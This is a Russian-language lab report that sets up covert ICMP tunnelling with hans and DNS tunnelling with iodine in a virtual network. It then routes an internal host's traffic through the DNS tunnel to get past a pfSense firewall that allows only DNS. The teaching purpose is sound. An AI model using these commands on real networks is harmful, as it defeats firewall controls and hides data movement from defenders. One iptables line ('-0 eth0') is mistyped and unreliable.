---
# System prepended metadata

title: 'Практика №7. Скрытое туннелирование ICMP, DNS'

---

# Практика №7. Скрытое туннелирование ICMP, DNS

## Инфраструктура

- Kali-2022 - Linux Kali 2022 (2CPU, 2GB RAM)
- Kali-2-2022 - Linux Kali 2022 (2CPU, 2GB RAM)
- FW-pfsense - PfSense Firewall 2.5.2, default config (Qemu version 4.1.0, 2CPU, 2GB RAM)
- Switch - Cisco IOL-L2 (2 port-groups)
- Debian-RPi4 - Linux Debian 10 (1CPU, 1GB RAM)
- Debian(OClient) - Linux Debian 10 (1CPU, 1GB RAM)
- Win-10 - Windows 10 (full) (2CPU, 2GB RAM)
- Win-7 - Windows 7 (full) (QEMU 2.12, 4CPU, 4GB RAM)

![](https://hackmd.io/_uploads/Syz5UWErn.png)

## IP конфигурация устройств

pfSense

![](https://hackmd.io/_uploads/BJ2LL-Ern.png)

Kali22

![](https://hackmd.io/_uploads/HJxOLW4H3.png)

Kali22-2

![](https://hackmd.io/_uploads/HJ1tL-NS2.png)

Debian(OClient)

![](https://hackmd.io/_uploads/HJl_CbVSn.png)

## ICMP туннелирование

### **Kali22:**

Для начала создадим папку icmp в которую скачаем проект hans для упакования IP пакетов во внутрь ICMP:

```
mkdir icmp

cd icmp

git clone https://github.com/friedrich/hans

make
```
![](https://hackmd.io/_uploads/ryvLtbVr2.png)

Далее устанавливаем утилиту для проекта hans, так как на новых новых Linux используется другая утилита:

```
sudo apt update

sudo apt install net-tools
```
![](https://hackmd.io/_uploads/HJhojWNH2.png)

Запускаем сервер от имени администратора:

`sudo ./hans -s 10.1.2.0 -p 123456`

![](https://hackmd.io/_uploads/rJ3enbVBh.png)

Видим что появился виртуальный интерфейс tun0:

![](https://hackmd.io/_uploads/ryKrnbVH3.png)

### **Debian(OClient):**

Так же как и на Kali22 устанавливаем hans.

После установки запускаем hans только с флагом -c и указываем адрес нашего сервера(Kali22):

`./hans -c 172.68.25.137 -p 123456`

![](https://hackmd.io/_uploads/ryyYxMES3.png)

![](https://hackmd.io/_uploads/SyAolzEr3.png)

Как видно, виртуальный интерфейс tun0 получил IP 10.1.2.100

### **Kali22:**

Проверим наше соединение пропинговав IP виртуального интерфейса на Debian:

`ping 10.1.2.100`

![](https://hackmd.io/_uploads/r1je-G4rh.png)

Теперь подключимся к Debian по SSH:

`ssh root@10.1.2.100`

![](https://hackmd.io/_uploads/HkzvWMEH3.png)

Теперь можно просмотреть трафик icmp пакетов на e1 интерфейсе у pfSense и увидеть разницу между hans трафиком и обычным(при пинге с Debian)

![](https://hackmd.io/_uploads/HJFrNMVS2.png)

![](https://hackmd.io/_uploads/r1tUVzVB2.png)

## Простое DNS-Туннелирование

### **Kali22:**

**iodine** - Это программа, позволяющая туннелировать данные IPv4 через DNS-сервер. Это можно использовать в различных ситуациях, когда доступ в Интернет защищен брандмауэром, но разрешены DNS-запросы.

Для начала установим утилиту iodine:

`sudo apt install iodine`

![](https://hackmd.io/_uploads/BJSw8fEr2.png)

### **Debian(OClient):**

Также устанавливаем iodine:

![](https://hackmd.io/_uploads/r1oQDMVHn.png)

### **Kali22:**

Запускаем наш DNS сервер:

`iodined -P 123456 10.99.99.1/24 -c i.example.com`

![](https://hackmd.io/_uploads/B19hjzNrn.png)

У нас создается интерфейс который слушает трафик:

![](https://hackmd.io/_uploads/r1u62f4r2.png)

### **Debian(OClient)**:

Сначала изменим конфигурацию DNS маршрутизации и укажем DNS сервер(IP Kali22):

`nano /etc/resolv.conf`

![](https://hackmd.io/_uploads/rkN6AMVB2.png)

После подмены DNS сервера запускаем iodine:

```
iodine -P 123456 i.example.com
```

![](https://hackmd.io/_uploads/HkEDCz4S2.png)

Видим, что создался интерфейс dns0(10.99.99.2):

![](https://hackmd.io/_uploads/HJryJm4H3.png)

Теперь мы можем пропинговать этот интерфейс с Kali22 и подключиться к Debian(OClient) по SSH:

![](https://hackmd.io/_uploads/S1HFy74rn.png)

![](https://hackmd.io/_uploads/ByJTkQEr3.png)

С помощью Wireshark можно увидеть фейковые DNS запросы(Melformed Packet):

![](https://hackmd.io/_uploads/rktk-74Bh.png)

Если пропинговать 8.8.8.8 через SSH подключение, пакеты немного видоизменятся:

![](https://hackmd.io/_uploads/Hynt-XNB3.png)

## Сложное DNS-Туннелирование

Для начала видоизменим нашу инфраструктуру добавив 2 Windows Server:

![](https://hackmd.io/_uploads/B1B2ywar2.png)

### **DNS-Server-Internal**

Для начала настроим статический IP:

![](https://hackmd.io/_uploads/S1J5fD6Bn.png)

Устанавливаем DNS:

![](https://hackmd.io/_uploads/B14mPwpH3.png)

Добавляем адрес DNS-Server-External для того чтобы сервер перенапрявлял туда запросы.

![](https://hackmd.io/_uploads/S1tLjvTS2.png)

Теперь сделаем так, чтобы сервер запрашивал DNS сам у себя:

![](https://hackmd.io/_uploads/HyHlYDTr3.png)

Убедимся что нас сервер работает, и умеет пинговать неизвестные ему DNS имена:

![](https://hackmd.io/_uploads/BJJ3uwprn.png)

### **DNS-Server-External**

Так же устанавливаем DNS и ставим перенаправление запросов DNS на yandex:

![](https://hackmd.io/_uploads/HJPG3vpHh.png)

![](https://hackmd.io/_uploads/r15W3wpB3.png)

### **DNS-Server-Internal**

После чего можно проверить, отрабатывают ли наши DNS запросы на DNS-Server-Internal:

![](https://hackmd.io/_uploads/ry_T2vpH2.png)

Все работает.

**Теперь необходимо запретить на фаерволе все, кроме DNS запросов с нашего DNS-Server-Internal**

### **Kali22-2**

Поменяем адрес DNS сервера по умолчанию на наш адрес DNS-Server-Internal:

`nano /etc/resolv.conf`

![](https://hackmd.io/_uploads/BkS4CPaS2.png)

Проверим что все работает:

`dig ok.ru`

![](https://hackmd.io/_uploads/Hy6d0PTHh.png)

Теперь зайдем на наш фаервол и создадим правило, чтобы он принимал только DNS трафик с хоста 192.168.1.200(DNS-Server-Internal):

![](https://hackmd.io/_uploads/HkOOJdTSh.png)

Так же отключим выход в интернет:

![](https://hackmd.io/_uploads/Byw0ku6Hh.png)

Как видим выхода в интернет нет:

![](https://hackmd.io/_uploads/rJdEgdTHn.png)

Но через нас дефолтный сервер мы получим ответ:

![](https://hackmd.io/_uploads/BkZwxdaHh.png)

### **DNS-Server-External**

Теперь создадим зону, которую булет обслуживать наш сервер, и сделаем так, чтобы он делегировал DNS запросы на нашу внешнюю Kali22.

![](https://hackmd.io/_uploads/SkaSfdpHh.png)

Добавим запись, которая делает так, что при обращении к mirea.tech, запрос будет идти именно на наш сервер:

![](https://hackmd.io/_uploads/rywVcupHn.png)

Также добавим запись, которая будет делегировать запросы на наш внешний Kali22:

![](https://hackmd.io/_uploads/rJRV9dpHh.png)

Добавляем делегирование на наш Kali22:

![](https://hackmd.io/_uploads/HyPXS_Trh.png)

Теперь проверим как это работает, зайдя на внутренний Kali22-2 и запросив NS запись у домена tunnel.mirea.tech:

![](https://hackmd.io/_uploads/ryEcq_Tr2.png)

Как видно, запрашивая DNS запись у tunnel.mirea.tech, запрос сначала идет на внутренний DNS-Server-Internal, после чего на DNS-Server-External который делегирует запрос на наш внешний Kali22(172.68.25.141).

Далее необходимо сделать на внешнем Kali22 кастомный DNS сервер.

### **Kali22**

С помощью утилиты iodine(iodined серверная часть) запустим DNS сервер обслуживающий зону tunnel.mirea.tech:

```
iodined -P 12345 10.99.99.1/24 -c tunnel.mirea.tech
```
![](https://hackmd.io/_uploads/r1x43d6Sh.png)

### **Kali22-2**

На внутреннем Kali запустим клиент iodine подключаясь на нашему tunnel.mirea.tech:

```
iodine -P 12345 tunnel.mirea.tech
```
![](https://hackmd.io/_uploads/Sy3Waupr3.png)

После создания тоннеля можем убелиться что он работает, и мы можем выходить наружу(пропингуем внешний адрес фейк DNS сервера на Kali22):

![](https://hackmd.io/_uploads/HyiwTuar3.png)

### **Kali22**

Включим маршрутизацию трафика(раскомментируем строчку):

`nano /etc/sysctl.conf`

![](https://hackmd.io/_uploads/Hycz0dpHh.png)

Удаляем правила перенаправления NAT:

iptables -t nat -F

![](https://hackmd.io/_uploads/BJvi0OaSn.png)

Перенаправляем трафик на eth0:

`iptables -t nat -A POSTROUTING -0 eth0 -j MASQUERADE`

![](https://hackmd.io/_uploads/SJZfkK6Bh.png)

### **Kali22-2**

Изменим дефолтный маршрут на внутреннем Kali22-2:

```
ip route delete default

ip route add default via 10.99.99.1
```

![](https://hackmd.io/_uploads/S1Ca1FpHh.png)

Теперь мы можем выходить в сеть через внутреннюю Kali22-2:

![](https://hackmd.io/_uploads/BJlzxY6Hn.png)

Можем открыть яндекс в браузере:

![](https://hackmd.io/_uploads/Sk3kzY6Sh.png)

Можно посмотреть какой трафик фиксирует Wireshark через Debian:

![](https://hackmd.io/_uploads/BkCpfK6B2.png)
